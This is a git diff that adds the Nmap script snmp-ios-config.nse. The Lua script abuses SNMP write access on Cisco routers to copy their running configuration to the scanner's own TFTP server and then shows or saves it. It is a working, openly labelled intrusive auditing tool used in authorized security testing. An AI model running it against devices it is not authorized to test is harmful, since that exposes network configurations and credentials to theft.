summaryrefslogtreecommitdiffstats
path: root/scripts/snmp-ios-config.nse
diff options
context:
space:
mode:
Diffstat (limited to '')
-rw-r--r--scripts/snmp-ios-config.nse178
1 files changed, 178 insertions, 0 deletions
diff --git a/scripts/snmp-ios-config.nse b/scripts/snmp-ios-config.nse
new file mode 100644
index 0000000..1965243
--- /dev/null
+++ b/scripts/snmp-ios-config.nse
@@ -0,0 +1,178 @@
+local io = require "io"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local snmp = require "snmp"
+local stdnse = require "stdnse"
+local stringaux = require "stringaux"
+local table = require "table"
+local tftp = require "tftp"
+
+description = [[
+Attempts to downloads Cisco router IOS configuration files using SNMP RW (v1) and display or save them.
+]]
+
+---
+-- @usage
+-- nmap -sU -p 161 --script snmp-ios-config --script-args creds.snmp=:<community> <target>
+--
+-- @output
+-- | snmp-ios-config:
+-- | !
+-- | version 12.3
+-- | service timestamps debug datetime msec
+-- | service timestamps log datetime msec
+-- | no service password-encryption
+-- | !
+-- | hostname Router
+-- | !
+-- | boot-start-marker
+-- | boot-end-marker
+-- <snip>
+--
+-- @args snmp-ios-config.tftproot If set, specifies to what directory the downloaded config should be saved
+
+--
+-- Version 0.2
+-- Created 01/03/2011 - v0.1 - created by Vikas Singhal
+-- Revised 02/22/2011 - v0.2 - cleaned up and added support for built-in tftp, Patrik Karlsson <patrik@cqure.net>
+
+author = {"Vikas Singhal", "Patrik Karlsson"}
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"intrusive"}
+
+dependencies = {"snmp-brute"}
+
+
+portrule = shortport.port_or_service(161, "snmp", "udp", {"open", "open|filtered"})
+
+local function fail (err) return stdnse.format_output(false, err) end
+---
+-- Sends SNMP packets to host and reads responses
+action = function(host, port)
+
+ local tftproot = stdnse.get_script_args("snmp-ios-config.tftproot")
+
+ if ( tftproot and not( tftproot:match("[\\/]+$") ) ) then
+ return fail("tftproot needs to end with slash")
+ end
+
+ local snmpHelper = snmp.Helper:new(host, port)
+ snmpHelper:connect()
+
+ local status, tftpserver, _, _, _ = snmpHelper.socket:get_info()
+ if( not(status) ) then
+ return fail("Failed to determine local ip")
+ end
+
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999 (ConfigCopyProtocol is set to TFTP [1] )
+
+ local request = snmpHelper:set({reqiId=28428},".1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999",1)
+
+ -- Fail silently if the first request doesn't get a proper response
+ if ( not(request) ) then return end
+
+ -- since we got something back, the port is definitely open
+ nmap.set_port_state(host, port, "open")
+
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.3 (SourceFileType is set to running-config [4] )
+
+ request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999",4)
+
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.4 (DestinationFileType is set to networkfile [1] )
+
+ request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999",1)
+
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddress is set to the IP address of the TFTP server )
+
+ local tbl = {}
+ tbl._snmp = '40'
+ for octet in tftpserver:gmatch("%d+") do
+ table.insert(tbl, octet)
+ end
+
+ request = snmpHelper:set({reqId=28428}, nil, { { snmp.str2oid(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999"), tbl } } )
+ -- request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999",tftpserver)
+
+
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddressType is set 1 for ipv4 )
+ -- more options - 1:ipv4, 2:ipv6, 3:ipv4z, 4:ipv6z, 16:dns
+
+ request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.15.9999",1)
+
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.16 (ServerAddress is set to the IP address of the TFTP server )
+
+ request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.16.9999",tftpserver)
+
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.6 (CopyFilename is set to IP-config)
+
+ request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.6.9999",host.ip .. "-config")
+
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Start copying by setting CopyStatus to active [1])
+ -- more options: 1:active, 2:notInService, 3:notReady, 4:createAndGo, 5:createAndWait, 6:destroy
+
+ request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",1)
+
+ -- wait for sometime and print the status of filetransfer
+ tftp.start()
+ local status, infile = tftp.waitFile(host.ip .. "-config", 10)
+
+ -- build a SNMP v1 packet
+ -- get value: .1.3.6.1.4.1.9.9.96.1.1.1.1.10 (Check the status of filetransfer) 1:waiting, 2:running, 3:successful, 4:failed
+
+ local response
+ status, response = snmpHelper:get({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.10.9999")
+
+ if (not status) or (response == "TIMEOUT") then
+ return fail("Failed to receive cisco configuration file")
+ end
+
+ local result = response and response[1] and response[1][1]
+ if not result then
+ return
+ end
+
+ if result == 3 then
+ result = ( infile and infile:getContent() )
+
+ if ( tftproot ) then
+ local fname = tftproot .. stringaux.filename_escape(host.ip .. "-config")
+ local file, err = io.open(fname, "w")
+ if ( file ) then
+ file:write(result)
+ file:close()
+ else
+ return fail(file)
+ end
+ result = ("\n Configuration saved to (%s)"):format(fname)
+ end
+ else
+ result = "Not successful! error code: " .. result .. " (1:waiting, 2:running, 3:successful, 4:failed)"
+ end
+
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Destroy settings by setting CopyStatus to destroy [6])
+
+ request = snmpHelper:set({reqId=28428}, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",6)
+
+
+ return result
+end
+